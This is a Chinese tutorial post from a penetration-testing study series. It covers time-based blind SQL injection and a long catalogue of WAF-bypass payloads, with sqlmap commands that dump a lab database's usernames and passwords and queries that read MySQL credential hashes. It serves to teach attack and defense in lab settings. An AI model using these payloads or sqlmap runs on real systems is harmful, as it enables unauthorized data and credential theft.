渗透测试-百日筑基—SQL注入篇时间注入绕过HTTP数据编码绕过—下
day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过
一、时间注入
SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击者无法直接从应用程序的响应中获取SQL查询的结果,而是通过观察应用程序的响应时间来推断信息。时间注入正是利用了这一特性,通过使数据库执行延时函数(如MySQL中的sleep()
函数)来检测SQL查询的执行情况,从而推断出数据库中的信息。
1、时间注入的工作原理
时间注入的工作原理大致如下:
- 构造延时查询:攻击者会在SQL查询中注入一个条件,该条件会触发数据库执行延时函数。例如,在MySQL中,可以使用
IF(condition, sleep(time), 0)
这样的语句,如果条件满足,则数据库会延时一段时间(如sleep(10)
表示延时10秒)返回结果,否则立即返回。 - 观察响应时间:攻击者通过观察应用程序的响应时间来判断延时是否发生,从而推断出条件是否满足。如果应用程序的响应时间显著增加,那么可以认为条件满足,即攻击者可以通过这种方式逐步推断出数据库中的敏感信息。
2、时间注入的用途
时间注入主要用于以下场景:
- 数据库信息探测:攻击者可以通过时间注入来探测数据库的类型、版本、表名、列名等信息。
- 数据提取:在知道数据库结构的情况下,攻击者还可以利用时间注入来逐字符地提取数据库中的数据,如用户名、密码等敏感信息。
3、防御措施
为了防范时间注入攻击,可以采取以下措施:
- 使用参数化查询:参数化查询是预防SQL注入的最有效手段之一。通过将SQL语句中的参数与数据值分开处理,确保数据值不会被解释为SQL代码的一部分,从而避免注入攻击。
- 严格输入验证:对所有用户输入进行严格的验证和过滤,拒绝任何可疑或不合规的数据。
- 设置响应时间上限:合理设置响应时间的上限,避免过长的响应时间给攻击者以机会。
- 使用Web应用防火墙(WAF):WAF能够监控和过滤进出Web应用的网络流量,识别和阻止SQL注入等恶意攻击。
4、时间注入攻击方式
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。
如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。
5、时间注入代码分析
在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。
在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
6、采用时间注入
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
-u 表示检测的 url-p 指定的检测参数-v 显示调试模式--technique=T 检测方法为时间注入
7、sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限、表、字段等敏感信息的获取。
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch--current-user 获取用户--current-db 当前库--batch 使用默认模式 自动 y
8、获取表 -D 指定数据库 --tables 获取表
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
9、获取字段
在 sqlmap --columns 获取字典 -T 某个表sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.phpname=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
10、sqlmap 查询账号和密码
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch--dump 导出数据-C 指定查询的字段
使用 sqlmap 很容易就能把时间注入的数据注入查询出来
二、SQL 注入绕过技术
SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。
以下是一些常见的SQL注入绕过方法:
- 空格过滤绕过:
-
- 使用注释符
/**/
、制表符(URL编码为%09
)、换行符(URL编码为%0a
)、括号、反引号等来代替空格。
- 使用注释符
- 内联注释绕过:
-
- 利用MySQL的特性,将仅在MySQL上执行的语句放在
/*!...*/
中。当MySQL数据库的实际版本号大于或等于内联注释中的版本号时,就会执行内联注释中的代码。
- 利用MySQL的特性,将仅在MySQL上执行的语句放在
- 大小写绕过:
-
- 针对过滤规则只对小写或大写敏感的情况,通过大小写混写的方式来绕过关键字过滤。
- 双写关键字绕过:
-
- 在某些简单的WAF(Web应用防火墙)中,将关键字如
select
等只使用replace()
函数置换为空,此时可以使用双写关键字(如seleselectct
)绕过。
- 在某些简单的WAF(Web应用防火墙)中,将关键字如
- 编码绕过:
-
- 对需要注入的语句进行编码,如URL编码、十六进制编码、Unicode编码、ASCII编码等。
- 等价函数字符替换绕过:
-
- 使用功能相同的函数或操作符进行替换,如使用
like
或in
代替=
,使用greatest
、least
、strcmp
等函数进行大小判断。
- 使用功能相同的函数或操作符进行替换,如使用
- 逻辑符号替换:
-
- 使用逻辑符号如
&&
代替and
,||
代替or
,^
或|
代替xor
等。
- 使用逻辑符号如
- 特殊字符和引号绕过:
-
- 使用十六进制编码、宽字节编码等技术处理被过滤的引号等特殊字符。
- 对过滤函数的绕过:
-
- 针对特定的过滤函数,如
replace()
、addslashes()
等,构造特定的payload来绕过其过滤规则。
- 针对特定的过滤函数,如
需要注意的是,SQL注入是一种严重的安全漏洞,攻击者可以利用它来获取数据库的敏感信息,甚至对数据库进行破坏。因此,开发人员应该采取严格的安全措施来防止SQL注入攻击,如使用参数化查询、ORM框架、预编译语句等。同时,定期对代码进行安全审计和漏洞扫描也是非常重要的。
1、空格字符绕过
两个空格代替一个空格,用 Tab 代替空格,%a0=空格%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/select * from users where id=1 /*!union*//*!select*/1,2,3,4;%09 TAB 键(水平)%0a 新建一行%0c 新的一页%0d return 功能%0b TAB 键(垂直)%a0 空格可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容不注释*/
2、大小写绕过
将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;
将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,user(),3%0Aand%0A%271http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271过滤空格可以用%0 代替 也过滤# -- 注释 用字符串匹配
3、浮点数绕过注入
select * from users where id=8E0union select 1,2,3,4;select * from users where id=8.0union select 1,2,3,4;
4、NULL 值绕过
select \N; 代表 null
select * from users where id=\Nunion select 1,2,3,\N;select * from users where id=\Nunion select 1,2,3,\Nfrom users;
5、引号绕过
如果 waf 拦截过滤单引号的时候,可以使用双引号 在 mysql 里也可以用双引号作为字符串
select * from users where id='1';select * from users where id="1";
也可以将字符串转换成 16 进制 再进行查询。
select hex('admin');select * from users where username='admin';select * from users where username=0x61646D696E;
如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
可以看到存在整型注入的时候 没有用到单引号 所以可以注入。
6、添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。
select * from users where id=-1 union select 1,2,3,4 from users;select * from users where id=-1 union select 1,2,3,4 from moonsec.users;
mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)from mysql.user;
7、去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截select * from users where id=-1 union distinct select 1,2,3,4 from users;select * from users where id=-1 union distinct select 1,2,3,version() from users;
8、反引号绕过
在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');
9、逗号绕过
目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。绕过方法如下
ubstr 截取字符串
select(substr(database() from 1 for 1)); 查询当前库第一个字符查询 m 等于 select(substr(database() from 1 for 1))页面返回正常select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));
min 截取字符串
这个 min 函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用这个函数代替。select mid(database() from 1 for 1); 这个方法如上。select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
10、使用 join 绕过
使用 join 自连接两个表union select 1,2 #等价于 union select * from (select 1)a join (select 2)ba 和 b 分别是表的别名select * from users where id=-1 union select 1,2,3,4;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select 3)c join(select 4)d;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select user())c join(select 4)d;
可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截
11、like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。
12、limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
13、or and xor not 绕过
目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2id=0 xor 1=1 limit 1 、id=1 xor 1=2对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下and 等于&&or 等于 ||not 等于 !xor 等于|所以可以转换成这样id=1 and 1=1 等于 id=1 && 1=1id=1 and 1=2 等于 id=1 && 1=2id=1 or 1=1 等于 id=1 || 1=1id=0 or 1=0 等于 id=0 || 1=0
可以绕过一些 waf 拦截继续对注入点进行安全检测,也可以使用运算符号
id=1 && 2=1+1
id=1 && 2=1-1
14、ascii 字符对比绕过
许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);select * from users where id=1 and substring(user(),1,1)='r';select * from users where id=1 and ascii(substring(user(),1,1))=114;
最好把'r'换成成 ascii 码 如果开启 gpc int 注入就不能用了。
可以看到构造得 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。
15、等号绕过
如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
select * from users where id=1 and (select substring(user(),1,1)like 'r%');select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select * from users where id=1 and 1=(select user() regexp '^r');select * from users where id=1 and 1=(select user() regexp '^a');regexp 后面是正则
16、双关键词绕过
有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。
双关键字绕过(若删除掉第一个匹配的 union 就能绕过)
id=-1'UNIunionONSeLselectECT1,2,3--+
到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。
17、二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。
-1 union select 1,2,3,4#第一次转码%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23第二次转码%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
二次编码注入漏洞分析 在源代码中已经开启了 gpc 对特殊字符进行转义
代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。
免责声明:
以上内容仅供参考,不构成任何安全建议或指导。对于具体的安全问题,请咨询专业的安全专家或机构。
相关文章:
渗透测试-百日筑基—SQL注入篇时间注入绕过HTTP数据编码绕过—下
day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过 一、时间注入 SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击…...
Unity - UGUI动静分离
原理:UGUI 是基于Canvas来进行合并计算的 1.不同Cavans的UI元素,是无法合批渲染,无法实现同一个drawcall 2. 每次合批的时候,会合并计算Canvas下所有的UI元素 , 具体流程: Step1: 对Cavans下所有的UI元素进行合批计算 Step2: …...
arm 体系架构-过程调用约定
ref: ARM体系结构学习笔记:过程调用标准AAPC、 ARM32调用约定、ARM64调用约定_arm64 传参 结构体-CSDN博客 ARM软件逆向工程入门 01 - ARM调用约定(Calling Convention)_armv7函数调用约定-CSDN博客 ARM学习(17&…...
STM32基于LL库的USART+DMA使用
时隔两年半再次更新LL库,本次带来USART DMA 实现接收不定长。 1、开发思路 使用USART DMA接收不定长的功能的思路是:借助USART的空闲中断、DMA发送完成中断。 打开F103的手册可得知,USART的空闲中断触发条件是在接收完成后触发࿰…...
设计模式06-结构型模式1(适配器/桥接/组合模式/Java)
#1024程序员节|征文# 4.1 适配器模式 结构型模式(Structural Pattern)的主要目的就是将不同的类和对象组合在一起,形成更大或者更复杂的结构体。结构性模式的分类: 类结构型模式关心类的组合,由多个类…...
【损害和风险评估&坑洼】路面坑洼检测系统源码&数据集全套:改进yolo11-DCNV3
改进yolo11-DLKA等200全套创新点大全:路面坑洼检测系统源码&数据集全套 1.图片效果展示 项目来源 人工智能促进会 2024.10.24 注意:由于项目一直在更新迭代,上面“1.图片效果展示”和“2.视频效果展示”展示的系统图片或者视频可…...
GenAI 生态系统现状:不止大语言模型和向量数据库
自 20 个月前 ChatGPT 革命性的推出以来,生成式人工智能(GenAI)领域经历了显著的发展和创新。最初,大语言模型(LLMs)和向量数据库吸引了最多的关注。然而,GenAI 生态系统远不止这两个部分&#…...
gitlab 配置ssh keys
settings -- 终端配置: git config --global user.email "yxthotmail.cm" 配置gitlab 账号邮箱 git config --global user.name "xt.yao" 配置gitlab账号用户名 生成SSH key,输入命令ssh-keygen -t rsa,一直按回车…...
小程序开发实战:PDF转换为图片工具开发
目录 一、开发思路 1.1 申请微信小程序 1.2 编写后端接口 1.3 后端接口部署 1.4 微信小程序前端页面开发 1.5 运行效果 1.6 小程序部署上线 今天给大家分享小程序开发系列,PDF转换为图片工具的开发实战,感兴趣的朋友可以一起来学习一下!…...
我有两台120kw充电桩一天能赚多少钱
(当前是理想状态下,当然还要看场地费用,还有物业,变压器,等等) ———————————————————— ———————————————————— 要计算两台120kW充电桩能赚多少钱,我们…...
深入了解 Android 中的命名空间:`xmlns:tools` 和其他常见命名空间
在 Android 开发中,xmlns (.xml的namespace)命名空间是一个非常重要的概念。通过引入不同的命名空间,可以使用不同的属性来设计布局、设置工具属性或者支持自定义视图等。除了 xmlns:tools 以外,还有很多常见的命名空间…...
stable-zero123模型构建指南
一、介绍 stabilityai出品,能够对有简单背景的物体进行三维视角图片的生成,简单来说也就是通过调整变换观察的视角生成对应视角的图片。 本项目通过comfyui实现。 二、容器构建说明 1. 部署ComfyUI (1)使用命令克隆ComfyUI g…...
算法题解记录32+++最长连续序列(百题筑基)
你们好,我是蚊子码农,好久不见。由于秋招求职的繁琐事情,我有很长一段时间没更新博客,希望我的粉丝们能够谅解。 秋招我拿到了一些offer,最终决定去一个主要做“网络安全”业务的公司工作,也许明天会更好&a…...
全球知名度最高的华人起名大师颜廷利:世界顶级思想哲学教育家
全国给孩子起名最好的大师颜廷利教授在其最新的哲学探索中,提出了《升命学说》这一前沿理论观点,该理论不仅深刻地回应了古今中外众多哲学流派和思想体系的精髓,还巧妙地融合了实用主义、理想主义以及经验主义的核心理念。通过这一独特的视角…...
Flink Rest API
REST API | Apache Flink Flink官网API 通过curl 或者Rest API工具测试web UI对应的接口返回信息 Flink 提交yarn任务 ./bin/flink run -t yarn-per-job historyServer ../bin/historyserver.sh start...
Zig 语言通用代码生成器:逻辑,冒烟测试版发布二
Zig 语言通用代码生成器:逻辑,冒烟测试版发布二 Zig 语言是一种新的系统编程语言,其生态位类同与 C,是前一段时间大热的 rust 语言的竞品。它某种意义上的确非常像 rust,尤其是在开发过程中无穷无尽抛错的过程&#x…...
mysql 通过GROUP BY 聚合并且拼接去重另个字段
我的需求: 我想知道同一个手机号出现几次,并且手机号出现在哪些地方。下面是要的效果。 源数据: CREATE TABLE bank (id bigint(20) unsigned NOT NULL AUTO_INCREMENT,user_id int(11) NOT NULL DEFAULT 0,tel varchar(255) COLLATE utf8mb4_unicode_…...
Java应用程序的测试覆盖率之设计与实现(一)-- 总体设计
一、背景 作为测试,如何保证开发人员提交上来的代码都被测试覆盖到,是衡量测试质量的一个重要指标。 本系列文章将要说一说,如何搭建一套测试覆盖率的系统。 包括以下内容: jacoco agent采集执行覆盖率数据jacoco climaven集成jacoco:jacoco-maven-pluginant集成jacoco:…...
Unity C#脚本的热更新
以下内容是根据Unity 2020.1.0f1版本进行编写的 目前游戏开发厂商主流还是使用lua框架来进行热更,如xlua,tolua等,也有的小游戏是直接整包更新,这种小游戏的包体很小,代码是用C#写的;还有的游戏就是通过…...
监督学习之逻辑回归
逻辑回归(Logistic Regression) 逻辑回归是一种用于二分类(binary classification)问题的统计模型。尽管其名称中有“回归”二字,但逻辑回归实际上用于分类任务。它的核心思想是通过将线性回归的输出映射到一个概率值…...
深度优先算法(DFS)洛谷P1683-入门
虽然洛谷是有题解的,但是你如果直接看得懂题解,你也不会来看这篇文章.. 这些代码均是我记录自身成长的记录,有写的不好的地方请谅解! 先上代码: #include <iostream> #include <vector> #include<iomanip> #include<cstdio&…...
Python数据分析基础
本文介绍了Python在数据分析中的应用,包括数据读取、清洗、处理和分析的基本操作。通过使用Pandas和Numpy库,我们可以高效地处理大量数据,并利用Matplotlib和Seaborn库进行数据可视化。 1. 引言 Python因其简洁的语法和强大的库支持&#x…...
《企业自设2-软件测试》线下课day3: 006扩展虚拟机
1.win11 修改hosts无权限 分别再cmd终端输入以下两行代码: C:\Windows\System32\drivers\etcnotepad hosts 2.先保存快照!!! 3.关闭虚拟机,将内存,CPU进行修改 就是再这个位置修改: 4.运…...
配置和排查 Lombok 在 IDEA 中使用的详细步骤
在日常开发中,Java 代码常常需要大量的样板代码,比如 getter、setter、toString 等方法。Lombok 是一个 Java 库,可以通过注解的方式,自动生成这些常见的代码,从而让代码更加简洁、清晰。比如,我们可以通过…...
JavaWeb合集18-接口管理Swager
十八、接口管理 1、Swager 使用Swagger你只需要按照它的规范去定义接口及接口相关的信息,就可以做到生成接口文档,以及在线接口调试页面。 官网: https://swagger.io/ Knife4j是为Java MVC框架集成Swagger生成Api文档的增强解决方案。 <dependency&g…...
背包九讲——二维费用背包问题
目录 二维费用背包问题 问题描述: 解决方法: 方法一: 代码实现: 方法二: 代码实现: 背包问题第五讲——二维费用背包问题 背包问题是一类经典的组合优化问题,通常涉及在限定容量的背包中…...
【mysql进阶】4-7. 通用表空间
通⽤表空间 - General Tablespace 1 通⽤表空间的作⽤和特性? ✅ 解答问题 通⽤表空间是使⽤ CREATE tablespace 语法创建的共享InnoDB表空间 通⽤表空间能够存储多个表的数据,与系统表空间类似也是共享表空间; 服务器运⾏时会把表空间元数…...
2024 年互联网大厂 1300 多道 JAVA 面试题汇总,包含了程序员的所有技术点
作为一个 Java 程序员,你平时总是陷在业务开发里,每天噼里啪啦忙敲着代码,上到系统开发,下到 Bug 修改,你感觉自己无所不能。然而偶尔的一次聚会,你听说和自己一起出道的同学早已经年薪 50 万,而…...
【开源免费】基于SpringBoot+Vue.JS在线文档管理系统(JAVA毕业设计)
本文项目编号 T 038 ,文末自助获取源码 \color{red}{T038,文末自助获取源码} T038,文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 查…...
Linux资源与网络请求
参数说明: d : 改变显示的更新速度,或是在交谈式指令列( interactive command)按 sq : 没有任何延迟的显示速度,如果使用者是有 superuser 的权限,则 top 将会以最高的优先序执行c : 切换显示模式,共有两种模式&#…...
做壮阳药网站/站长工具seo下载
目前 chromium 可以编译android 版,但是只能够build 出来部分测试程序如下: -rwxr-xr-x 1 yajun yajun 52M 2012-03-15 11:14 base_unittests* -rwxr-xr-x 1 yajun yajun 13M 2012-03-15 15:33 base_unittests_36332442B4AA00EC_stripped* -rw-r--r-- 2 …...
网站开发前端和后端的区别/北京seo排名服务
这篇文章主要介绍了简单了解python数组的基本操作,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 一,创建列表 创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来:…...
广西建设教育网站/郑州网站建设优化
由于博主比较习惯笔记本开盖即用,合盖即走,不大习惯开机关机(毕竟SSD速度杠杠滴^_^)。可是发现笔记本长时间睡眠乃至休眠唤醒后,使用thinkpad热键,虽然可以调节,但屏幕不显示调节状态了。解决步…...
wordpress 侧边栏跟随/现在广告行业好做吗
js图片上传组件:基本要求:1.上传的图片可预览,可删除,可被覆盖更新2.要求图片格式为jpg和png,大小不能超过2M新加需求:1.模拟回显,可用本地存储(实际上的回显是通过后台传过来的url&…...
网上国网推广方案怎么写/知乎关键词排名优化
下面通过一段代码给大家介绍python 使用for 循环实现九九乘法表,具体代码如下所示:#for 循环实现99乘法表for i in range (1,10):for j in range (1,i1):print("{}*{} {:<4}".format(i,j,i*j),end " ")print("")prin…...
wordpress 后台设置/万网官网域名查询
2018年南开大学物理保研夏令营通知导读:南开大学物理2018年保研夏令营通知已经公布,宣讲及面试活动时间为4月27日(周四)上午8:00-12:00。具体内容请看如下信息,想了解更多相关信息请持续关注我们应届毕业生考试网!为方便广大2018届优秀应届本…...